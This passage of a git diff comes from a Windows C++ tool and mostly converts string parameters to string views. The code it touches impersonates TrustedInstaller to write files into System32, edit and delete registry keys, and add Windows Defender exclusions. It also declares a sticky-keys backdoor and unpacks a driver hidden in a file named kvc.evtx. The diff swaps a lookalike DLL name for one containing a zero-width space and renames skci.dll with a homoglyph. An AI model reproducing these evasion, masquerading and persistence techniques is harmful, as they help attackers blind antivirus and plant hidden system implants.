(!hToken) { @@ -465,27 +466,28 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws return false; } - // Twórz rekursywnie wszystkie brakujące katalogi - BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr); + // Create all missing directories recursively + std::wstring directoryPathStr{directoryPath}; + BOOL result = SHCreateDirectoryExW(NULL, directoryPathStr.c_str(), NULL); DWORD error = GetLastError(); RevertToSelf(); - // Sukces jeśli katalog został utworzony lub już istnieje + // Success if directory was created or already exists bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS); if (success) { - DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str()); + DEBUG(L"Directory created with TrustedInstaller: %s", directoryPathStr.c_str()); } else { - ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error); + ERROR(L"Failed to create directory: %s (error: %d)", directoryPathStr.c_str(), error); } return success; } -// Rename system32 library skci.dll with intentional letter swap typo -bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath, - const std::wstring& dstPath) noexcept +// Replace 'skci.dll' with homoglyph variant using zero-width space (U+200B) +bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath, + std::wstring_view dstPath) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -498,32 +500,34 @@ bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring return false; } + std::wstring srcPathStr{srcPath}; + std::wstring dstPathStr{dstPath}; + // Clear attributes on source - DWORD attrs = GetFileAttributesW(srcPath.c_str()); + DWORD attrs = GetFileAttributesW(srcPathStr.c_str()); if (attrs != INVALID_FILE_ATTRIBUTES) { - SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL); + SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL); } - BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str()); + BOOL result = MoveFileW(srcPathStr.c_str(), dstPathStr.c_str()); DWORD error = result ? ERROR_SUCCESS : GetLastError(); RevertToSelf(); if (!result) { - ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error); + ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPathStr.c_str(), dstPathStr.c_str(), error); return false; } - DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str()); + DEBUG(L"File renamed successfully: %s -> %s", srcPathStr.c_str(), dstPathStr.c_str()); return true; } - // ============================================================================ // REGISTRY OPERATIONS // ============================================================================ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey) noexcept + std::wstring_view subKey) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -538,9 +542,11 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK HKEY hKey; DWORD dwDisposition; + std::wstring subKeyStr{subKey}; + LONG result = RegCreateKeyExW( hRootKey, - subKey.c_str(), + subKeyStr.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, @@ -552,9 +558,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK if (result == ERROR_SUCCESS) { RegCloseKey(hKey); - SUCCESS(L"Registry key created: %s", subKey.c_str()); + SUCCESS(L"Registry key created: %s", subKeyStr.c_str()); } else { - ERROR(L"Failed to create registry key: %s (error: %d)", subKey.c_str(), result); + ERROR(L"Failed to create registry key: %s (error: %d)", subKeyStr.c_str(), result); } RevertToSelf(); @@ -562,9 +568,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK } bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - const std::wstring& value) noexcept + std::wstring_view subKey, + std::wstring_view valueName, + std::wstring_view value) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -577,29 +583,31 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot return false; } + std::wstring subKeyStr{subKey}; HKEY hKey; - LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); + LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey); if (openResult != ERROR_SUCCESS) { - ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult); RevertToSelf(); return false; } + std::wstring valueStr{value}; LONG result = RegSetValueExW( hKey, - valueName.c_str(), + std::wstring{valueName}.c_str(), 0, REG_EXPAND_SZ, - (const BYTE*)value.c_str(), - (DWORD)(value.length() + 1) * sizeof(wchar_t) + (const BYTE*)valueStr.c_str(), + (DWORD)((valueStr.length() + 1) * sizeof(wchar_t)) ); RegCloseKey(hKey); RevertToSelf(); if (result == ERROR_SUCCESS) { - SUCCESS(L"Registry value written: %s\\%s", subKey.c_str(), valueName.c_str()); + SUCCESS(L"Registry value written: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str()); } else { ERROR(L"Failed to write registry value (error: %d)", result); } @@ -608,9 +616,9 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot } bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - DWORD value) noexcept + std::wstring_view subKey, + std::wstring_view valueName, + DWORD value) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -623,18 +631,19 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot return false; } + std::wstring subKeyStr{subKey}; HKEY hKey; - LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); + LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey); if (openResult != ERROR_SUCCESS) { - ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult); RevertToSelf(); return false; } LONG result = RegSetValueExW( hKey, - valueName.c_str(), + std::wstring{valueName}.c_str(), 0, REG_DWORD, (const BYTE*)&value, @@ -645,7 +654,7 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot RevertToSelf(); if (result == ERROR_SUCCESS) { - SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKey.c_str(), valueName.c_str(), value); + SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKeyStr.c_str(), std::wstring{valueName}.c_str(), value); } else { ERROR(L"Failed to write registry DWORD (error: %d)", result); } @@ -654,9 +663,9 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot } bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - const std::vector& data) noexcept + std::wstring_view subKey, + std::wstring_view valueName, + std::span data) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -669,18 +678,19 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo return false; } + std::wstring subKeyStr{subKey}; HKEY hKey; - LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); + LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey); if (openResult != ERROR_SUCCESS) { - ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult); RevertToSelf(); return false; } LONG result = RegSetValueExW( hKey, - valueName.c_str(), + std::wstring{valueName}.c_str(), 0, REG_BINARY, data.data(), @@ -691,7 +701,7 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo RevertToSelf(); if (result == ERROR_SUCCESS) { - SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKey.c_str(), valueName.c_str(), data.size()); + SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKeyStr.c_str(), std::wstring{valueName}.c_str(), data.size()); } else { ERROR(L"Failed to write registry binary (error: %d)", result); } @@ -700,9 +710,9 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo } bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - std::wstring& outValue) noexcept + std::wstring_view subKey, + std::wstring_view valueName, + std::wstring& outValue) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -715,18 +725,19 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK return false; } + std::wstring subKeyStr{subKey}; HKEY hKey; - LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_QUERY_VALUE, &hKey); + LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_QUERY_VALUE, &hKey); if (openResult != ERROR_SUCCESS) { - ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult); RevertToSelf(); return false; } DWORD dataSize = 0; DWORD dataType = 0; - LONG queryResult = RegQueryValueExW(hKey, valueName.c_str(), NULL, &dataType, NULL, &dataSize); + LONG queryResult = RegQueryValueExW(hKey, std::wstring{valueName}.c_str(), NULL, &dataType, NULL, &dataSize); if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) { ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType); @@ -735,10 +746,10 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK return false; } - std::vector buffer(dataSize / sizeof(wchar_t)); + std::vector buffer(dataSize / sizeof(wchar_t) + 1); LONG result = RegQueryValueExW( hKey, - valueName.c_str(), + std::wstring{valueName}.c_str(), NULL, &dataType, (LPBYTE)buffer.data(), @@ -750,7 +761,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK if (result == ERROR_SUCCESS) { outValue = std::wstring(buffer.data()); - SUCCESS(L"Registry value read: %s\\%s", subKey.c_str(), valueName.c_str()); + SUCCESS(L"Registry value read: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str()); return true; } else { ERROR(L"Failed to read registry value (error: %d)", result); @@ -759,7 +770,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK } bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey) noexcept + std::wstring_view subKey) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -772,14 +783,15 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK return false; } - LONG result = RegDeleteTreeW(hRootKey, subKey.c_str()); + std::wstring subKeyStr{subKey}; + LONG result = RegDeleteTreeW(hRootKey, subKeyStr.c_str()); RevertToSelf(); if (result == ERROR_SUCCESS) { - SUCCESS(L"Registry key deleted: %s", subKey.c_str()); + SUCCESS(L"Registry key deleted: %s", subKeyStr.c_str()); } else { - ERROR(L"Failed to delete registry key: %s (error: %d)", subKey.c_str(), result); + ERROR(L"Failed to delete registry key: %s (error: %d)", subKeyStr.c_str(), result); } return (result == ERROR_SUCCESS); @@ -789,7 +801,7 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK // DEFENDER EXCLUSION MANAGEMENT // ============================================================================ -bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept +bool TrustedInstallerIntegrator::ValidateExtension(std::wstring_view extension) noexcept { if (extension.empty()) return false; const std::wstring invalidChars = L"\\/:*?\"<>|"; @@ -799,7 +811,7 @@ bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension return true; } -bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept +bool TrustedInstallerIntegrator::ValidateIpAddress(std::wstring_view ipAddress) noexcept { if (ipAddress.empty()) return false; @@ -828,9 +840,9 @@ bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress return (dots == 3 && hasDigit); } -std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept +std::wstring TrustedInstallerIntegrator::NormalizeExtension(std::wstring_view extension) noexcept { - std::wstring normalized = extension; + std::wstring normalized{extension}; std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower); if (!normalized.empty() && normalized[0] != L'.') { @@ -840,23 +852,23 @@ std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& return normalized; } -std::wstring TrustedInstallerIntegrator::ExtractProcessName(const std::wstring& fullPath) noexcept +std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fullPath) noexcept { size_t lastSlash = fullPath.find_last_of(L"\\/"); - if (lastSlash != std::wstring::npos) { - return fullPath.substr(lastSlash + 1); + if (lastSlash != std::wstring_view::npos) { + return std::wstring{fullPath.substr(lastSlash + 1)}; } - return fullPath; + return std::wstring{fullPath}; } -bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) +bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value) { - std::wstring processedValue = value; + std::wstring processedValue{value}; switch (type) { case ExclusionType::Extensions: if (!ValidateExtension(value)) { - ERROR(L"Invalid extension format: %s", value.c_str()); + ERROR(L"Invalid extension format: %s", std::wstring{value}.c_str()); return false; } processedValue = NormalizeExtension(value); @@ -864,7 +876,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const case ExclusionType::IpAddresses: if (!ValidateIpAddress(value)) { - ERROR(L"Invalid IP address format: %s", value.c_str()); + ERROR(L"Invalid IP address format: %s", std::wstring{value}.c_str()); return false; } break; @@ -900,9 +912,9 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const return result; } -bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) +bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value) { - std::wstring processedValue = value; + std::wstring processedValue{value}; switch (type) { case ExclusionType::Extensions: @@ -931,47 +943,47 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con return RunAsTrustedInstallerSilent(command); } -bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { +bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path) { return AddDefenderExclusion(ExclusionType::Paths, path); } -bool TrustedInstallerIntegrator::RemovePathExclusion(const std::wstring& path) { +bool TrustedInstallerIntegrator::RemovePathExclusion(std::wstring_view path) { return RemoveDefenderExclusion(ExclusionType::Paths, path); } -bool TrustedInstallerIntegrator::AddProcessExclusion(const std::wstring& processName) { +bool TrustedInstallerIntegrator::AddProcessExclusion(std::wstring_view processName) { return AddDefenderExclusion(ExclusionType::Processes, processName); } -bool TrustedInstallerIntegrator::RemoveProcessExclusion(const std::wstring& processName) { +bool TrustedInstallerIntegrator::RemoveProcessExclusion(std::wstring_view processName) { return RemoveDefenderExclusion(ExclusionType::Processes, processName); } -bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) { +bool TrustedInstallerIntegrator::AddExtensionExclusion(std::wstring_view extension) { return AddDefenderExclusion(ExclusionType::Extensions, extension); } -bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) { +bool TrustedInstallerIntegrator::RemoveExtensionExclusion(std::wstring_view extension) { return RemoveDefenderExclusion(ExclusionType::Extensions, extension); } -bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) { +bool TrustedInstallerIntegrator::AddIpAddressExclusion(std::wstring_view ipAddress) { return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); } -bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) { +bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(std::wstring_view ipAddress) { return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); } -bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) { +bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(std::wstring_view processName) { return AddProcessExclusion(processName); } -bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) { +bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(std::wstring_view processName) { return RemoveProcessExclusion(processName); } -bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) +bool TrustedInstallerIntegrator::AddToDefenderExclusions(std::wstring_view customPath) { wchar_t currentPath[MAX_PATH]; @@ -985,7 +997,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus ERROR(L"File path too long"); return false; } - wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str()); } fs::path filePath(currentPath); @@ -998,7 +1010,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus } } -bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) +bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(std::wstring_view customPath) { wchar_t currentPath[MAX_PATH]; @@ -1012,7 +1024,7 @@ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring ERROR(L"File path too long"); return false; } - wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str()); } fs::path filePath(currentPath); @@ -1163,7 +1175,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries() // HELPER UTILITIES // ============================================================================ -DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) +DWORD TrustedInstallerIntegrator::GetProcessIdByName(std::wstring_view processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; @@ -1174,7 +1186,7 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) if (Process32FirstW(hSnapshot, &pe)) { do { - if (wcscmp(pe.szExeFile, processName) == 0) { + if (std::wstring_view(pe.szExeFile) == processName) { pid = pe.th32ProcessID; break; } @@ -1185,15 +1197,13 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) return pid; } -bool TrustedInstallerIntegrator::IsLnkFile(LPCWSTR path) +bool TrustedInstallerIntegrator::IsLnkFile(std::wstring_view path) { - if (!path) return false; - size_t len = wcslen(path); - if (len < 4) return false; - return (_wcsicmp(path + len - 4, L".lnk") == 0); + if (path.length() < 4) return false; + return (_wcsicmp(std::wstring{path.substr(path.length() - 4)}.c_str(), L".lnk") == 0); } -std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) +std::wstring TrustedInstallerIntegrator::ResolveLnk(std::wstring_view lnkPath) { IShellLinkW* pShellLink = nullptr; IPersistFile* pPersistFile = nullptr; @@ -1208,7 +1218,8 @@ std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) return L""; } - hr = pPersistFile->Load(lnkPath, STGM_READ); + std::wstring lnkPathStr{lnkPath}; + hr = pPersistFile->Load(lnkPathStr.c_str(), STGM_READ); if (FAILED(hr)) { pPersistFile->Release(); pShellLink->Release(); diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h index d86f4b0..31c2683 100644 --- a/kvc/TrustedInstallerIntegrator.h +++ b/kvc/TrustedInstallerIntegrator.h @@ -3,6 +3,8 @@ #include #include #include +#include +#include class TrustedInstallerIntegrator { @@ -22,55 +24,55 @@ public: bool RunAsTrustedInstallerSilent(const std::wstring& commandLine); // File operations (NEW - direct write/delete with TrustedInstaller) - bool WriteFileAsTrustedInstaller(const std::wstring& filePath, - const std::vector& data) noexcept; - bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept; - - bool RenameFileAsTrustedInstaller(const std::wstring& srcPath, - const std::wstring& dstPath) noexcept; - - // Creates a directory with TrustedInstaller privileges - bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept; + bool WriteFileAsTrustedInstaller(std::wstring_view filePath, + std::span data) noexcept; + bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept; + + bool RenameFileAsTrustedInstaller(std::wstring_view srcPath, + std::wstring_view dstPath) noexcept; + + // Creates a directory with TrustedInstaller privileges + bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept; // Registry operations (NEW - direct registry access with TrustedInstaller) bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey) noexcept; + std::wstring_view subKey) noexcept; bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - const std::wstring& value) noexcept; + std::wstring_view subKey, + std::wstring_view valueName, + std::wstring_view value) noexcept; bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - DWORD value) noexcept; + std::wstring_view subKey, + std::wstring_view valueName, + DWORD value) noexcept; bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - const std::vector& data) noexcept; + std::wstring_view subKey, + std::wstring_view valueName, + std::span data) noexcept; bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey, - const std::wstring& valueName, - std::wstring& outValue) noexcept; + std::wstring_view subKey, + std::wstring_view valueName, + std::wstring& outValue) noexcept; bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey, - const std::wstring& subKey) noexcept; + std::wstring_view subKey) noexcept; // Defender exclusions - bool AddDefenderExclusion(ExclusionType type, const std::wstring& value); - bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value); - bool AddToDefenderExclusions(const std::wstring& customPath = L""); - bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); + bool AddDefenderExclusion(ExclusionType type, std::wstring_view value); + bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value); + bool AddToDefenderExclusions(std::wstring_view customPath = L""); + bool RemoveFromDefenderExclusions(std::wstring_view customPath = L""); - bool AddPathExclusion(const std::wstring& path); - bool RemovePathExclusion(const std::wstring& path); - bool AddProcessExclusion(const std::wstring& processName); - bool RemoveProcessExclusion(const std::wstring& processName); - bool AddExtensionExclusion(const std::wstring& extension); - bool RemoveExtensionExclusion(const std::wstring& extension); - bool AddIpAddressExclusion(const std::wstring& ipAddress); - bool RemoveIpAddressExclusion(const std::wstring& ipAddress); + bool AddPathExclusion(std::wstring_view path); + bool RemovePathExclusion(std::wstring_view path); + bool AddProcessExclusion(std::wstring_view processName); + bool RemoveProcessExclusion(std::wstring_view processName); + bool AddExtensionExclusion(std::wstring_view extension); + bool RemoveExtensionExclusion(std::wstring_view extension); + bool AddIpAddressExclusion(std::wstring_view ipAddress); + bool RemoveIpAddressExclusion(std::wstring_view ipAddress); - bool AddProcessToDefenderExclusions(const std::wstring& processName); - bool RemoveProcessFromDefenderExclusions(const std::wstring& processName); + bool AddProcessToDefenderExclusions(std::wstring_view processName); + bool RemoveProcessFromDefenderExclusions(std::wstring_view processName); // Sticky keys backdoor bool InstallStickyKeysBackdoor() noexcept; @@ -91,17 +93,17 @@ private: static const LPCWSTR ALL_PRIVILEGES[]; static const int PRIVILEGE_COUNT; - BOOL EnablePrivilegeInternal(LPCWSTR privilegeName); + BOOL EnablePrivilegeInternal(std::wstring_view privilegeName); BOOL ImpersonateSystem(); - BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine); - BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine); + BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine); + BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine); - DWORD GetProcessIdByName(LPCWSTR processName); - bool IsLnkFile(LPCWSTR path); - std::wstring ResolveLnk(LPCWSTR lnkPath); + DWORD GetProcessIdByName(std::wstring_view processName); + bool IsLnkFile(std::wstring_view path); + std::wstring ResolveLnk(std::wstring_view lnkPath); - bool ValidateExtension(const std::wstring& extension) noexcept; - bool ValidateIpAddress(const std::wstring& ipAddress) noexcept; - std::wstring NormalizeExtension(const std::wstring& extension) noexcept; - std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept; + bool ValidateExtension(std::wstring_view extension) noexcept; + bool ValidateIpAddress(std::wstring_view ipAddress) noexcept; + std::wstring NormalizeExtension(std::wstring_view extension) noexcept; + std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept; }; \ No newline at end of file diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp index 16b6922..f4eceae 100644 --- a/kvc/Utils.cpp +++ b/kvc/Utils.cpp @@ -986,7 +986,7 @@ std::vector DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) n return extractedFile; } -// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExpIorerFrame.dll) +// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExplorerFrame\u200B.dll) // Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console) bool SplitKvcEvtx(const std::vector& kvcData, std::vector& outKvcSys, @@ -1044,7 +1044,7 @@ bool SplitKvcEvtx(const std::vector& kvcData, return false; } - DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes", + DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExplorerFrame\u200B.dll=%zu bytes", outKvcSys.size(), outDll.size()); return true; @@ -1094,7 +1094,7 @@ bool ExtractResourceComponents(int resourceId, return false; } - DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes", + DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExplorerFrame\u200B.dll: %zu bytes", outKvcSys.size(), outDll.size()); return true; diff --git a/kvc/Utils.h b/kvc/Utils.h index c38feb2..2d5ba8a 100644 --- a/kvc/Utils.h +++ b/kvc/Utils.h @@ -152,12 +152,12 @@ namespace Utils // Decompress CAB archive from memory and extract kvc.evtx std::vector DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept; - // Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll + // Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll bool SplitKvcEvtx(const std::vector& kvcData, std::vector& outKvcSys, std::vector& outDll) noexcept; - // Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll) + // Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll) bool ExtractResourceComponents(int resourceId, std::vector& outKvcSys, std::vector& outDll) noexcept; diff --git a/kvc/WatermarkManager.cpp b/kvc/WatermarkManager.cpp index a3d7038..157fa48 100644 --- a/kvc/WatermarkManager.cpp +++ b/kvc/WatermarkManager.cpp @@ -17,14 +17,14 @@ bool WatermarkManager::RemoveWatermark() noexcept { INFO(L"[WATERMARK] Starting watermark removal process"); - // Extract ExpIorerFrame.dll from resource + // Extract ExplorerFrame\u200B.dll from resource std::vector dllData; if (!ExtractWatermarkDLL(dllData)) { ERROR(L"[WATERMARK] Failed to extract DLL from resource"); return false; } - INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size()); + INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size()); // Get System32 path std::wstring system32Path = GetSystem32Path(); @@ -33,7 +33,7 @@ bool WatermarkManager::RemoveWatermark() noexcept return false; } - std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; + std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll"; // Write DLL using TrustedInstaller if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) { @@ -85,7 +85,7 @@ bool WatermarkManager::RestoreWatermark() noexcept // 3. Teraz usuń DLL (uchwyt został zwolniony) std::wstring system32Path = GetSystem32Path(); if (!system32Path.empty()) { - std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; + std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll"; // Dodaj krótkie opóźnienie dla pewności Sleep(1000); @@ -132,7 +132,7 @@ bool WatermarkManager::ExtractWatermarkDLL(std::vector& outDllData) noexce return false; } - DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size()); + DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size()); return !outDllData.empty(); } diff --git a/kvc/WatermarkManager.h b/kvc/WatermarkManager.h index de6e354..ebd4137 100644 --- a/kvc/WatermarkManager.h +++ b/kvc/WatermarkManager.h @@ -36,7 +36,7 @@ private: static constexpr const wchar_t* CLSID_KEY = 